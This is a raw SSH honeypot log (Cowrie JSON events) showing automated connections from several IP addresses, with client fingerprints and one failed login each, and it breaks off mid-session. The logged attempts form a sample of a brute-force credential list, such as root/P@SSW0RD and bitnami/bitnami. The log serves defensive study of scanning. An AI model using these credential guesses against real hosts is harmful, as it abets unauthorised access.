{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":19661,"dst_ip":"10.17.0.5","dst_port":22,"session":"d717a88fcd04","protocol":"ssh","message":"New connection: 136.232.11.10:19661 (10.17.0.5:22) [session: d717a88fcd04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:20.595127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:20.600449Z","src_ip":"136.232.11.10","session":"d717a88fcd04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:20.834212Z","src_ip":"136.232.11.10","session":"d717a88fcd04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parola","message":"login attempt [root/parola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:21.797743Z","src_ip":"136.232.11.10","session":"d717a88fcd04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:23.033755Z","src_ip":"136.232.11.10","session":"d717a88fcd04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":48808,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef2eab7e5d97","protocol":"ssh","message":"New connection: 45.137.172.116:48808 (10.17.0.5:22) [session: ef2eab7e5d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:24.372983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:24.377898Z","src_ip":"45.137.172.116","session":"ef2eab7e5d97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:24.665152Z","src_ip":"45.137.172.116","session":"ef2eab7e5d97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert123","message":"login attempt [root/qwert123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:25.047747Z","src_ip":"45.137.172.116","session":"ef2eab7e5d97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:26.148032Z","src_ip":"45.137.172.116","session":"ef2eab7e5d97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":49256,"dst_ip":"10.17.0.5","dst_port":22,"session":"3225dc19a9ee","protocol":"ssh","message":"New connection: 103.118.29.129:49256 (10.17.0.5:22) [session: 3225dc19a9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:35.092899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:35.098975Z","src_ip":"103.118.29.129","session":"3225dc19a9ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:35.333383Z","src_ip":"103.118.29.129","session":"3225dc19a9ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@SSW0RD","message":"login attempt [root/P@SSW0RD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:36.291172Z","src_ip":"103.118.29.129","session":"3225dc19a9ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:37.536314Z","src_ip":"103.118.29.129","session":"3225dc19a9ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":41316,"dst_ip":"10.17.0.5","dst_port":22,"session":"af1cfba37775","protocol":"ssh","message":"New connection: 69.48.205.231:41316 (10.17.0.5:22) [session: af1cfba37775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:47.703001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:47.708452Z","src_ip":"69.48.205.231","session":"af1cfba37775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:47.759157Z","src_ip":"69.48.205.231","session":"af1cfba37775","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aileen","message":"login attempt [root/aileen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:47.991218Z","src_ip":"69.48.205.231","session":"af1cfba37775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:49.044504Z","src_ip":"69.48.205.231","session":"af1cfba37775","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":46446,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eceb6284c2e","protocol":"ssh","message":"New connection: 43.242.203.160:46446 (159.203.135.109:22) [session: 0eceb6284c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:52.670669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:52.718206Z","src_ip":"43.242.203.160","session":"0eceb6284c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:53.030098Z","src_ip":"43.242.203.160","session":"0eceb6284c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:54.077883Z","src_ip":"43.242.203.160","session":"0eceb6284c2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:10:55.397863Z","src_ip":"43.242.203.160","session":"0eceb6284c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":47544,"dst_ip":"159.203.135.109","dst_port":22,"session":"0df44a6e6f47","protocol":"ssh","message":"New connection: 80.94.92.171:47544 (159.203.135.109:22) [session: 0df44a6e6f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:09.976857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:10.118248Z","src_ip":"80.94.92.171","session":"0df44a6e6f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:10.225091Z","src_ip":"80.94.92.171","session":"0df44a6e6f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:11.223841Z","src_ip":"80.94.92.171","session":"0df44a6e6f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:12.651801Z","src_ip":"80.94.92.171","session":"0df44a6e6f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":19906,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5481e93ec5e","protocol":"ssh","message":"New connection: 31.57.216.23:19906 (159.203.135.109:22) [session: e5481e93ec5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:15.276632Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:15.281899Z","src_ip":"31.57.216.23","session":"e5481e93ec5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":19908,"dst_ip":"159.203.135.109","dst_port":22,"session":"93f0677e8e24","protocol":"ssh","message":"New connection: 31.57.216.23:19908 (159.203.135.109:22) [session: 93f0677e8e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:15.429306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:15.435199Z","src_ip":"31.57.216.23","session":"93f0677e8e24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:15.545767Z","src_ip":"31.57.216.23","session":"93f0677e8e24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:15.908823Z","src_ip":"31.57.216.23","session":"93f0677e8e24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:17.053516Z","src_ip":"31.57.216.23","session":"93f0677e8e24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":41456,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e25b736ea9b","protocol":"ssh","message":"New connection: 45.137.172.116:41456 (10.17.0.5:22) [session: 8e25b736ea9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:34.710734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:34.715654Z","src_ip":"45.137.172.116","session":"8e25b736ea9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:34.813059Z","src_ip":"45.137.172.116","session":"8e25b736ea9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami","message":"login attempt [bitnami/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:35.234068Z","src_ip":"45.137.172.116","session":"8e25b736ea9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:36.333543Z","src_ip":"45.137.172.116","session":"8e25b736ea9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":37210,"dst_ip":"10.17.0.5","dst_port":22,"session":"af8dd6253188","protocol":"ssh","message":"New connection: 202.51.214.99:37210 (10.17.0.5:22) [session: af8dd6253188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:42.238548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:42.243302Z","src_ip":"202.51.214.99","session":"af8dd6253188","protocol":"ssh"}
